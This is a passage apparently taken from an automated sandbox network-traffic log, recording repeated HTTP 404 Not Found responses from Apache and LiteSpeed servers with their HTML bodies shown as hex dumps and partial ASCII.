20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36 30 39 36 22 3e
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 03 Dec 2024 13:39:07 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36 30 39 36 22 3e
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 03 Dec 2024 13:39:10 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36 30 39 36 22 3e
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 03 Dec 2024 13:39:13 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Tue, 03 Dec 2024 13:39:20 GMTserver: LiteSpeedstrict-transport-security: max-age=63072000; includeSubDomainsx-frame-options: SAMEORIGINx-content-type-options: nosniffData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Tue, 03 Dec 2024 13:39:23 GMTserver: LiteSpeedstrict-transport-security: max-age=63072000; includeSubDomainsx-frame-options: SAMEORIGINx-content-type-options: nosniffData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Tue, 03 Dec 2024 13:39:25 GMTserver: LiteSpeedstrict-transport-security: max-age=63072000; includeSubDomainsx-frame-options: SAMEORIGINx-content-type-options: nosniffData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Tue, 03 Dec 2024 13:39:28 GMTserver: LiteSpeedstrict-transport-security: max-age=63072000; includeSubDomainsx-frame-options: SAMEORIGINx-content-type-options: nosniffData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 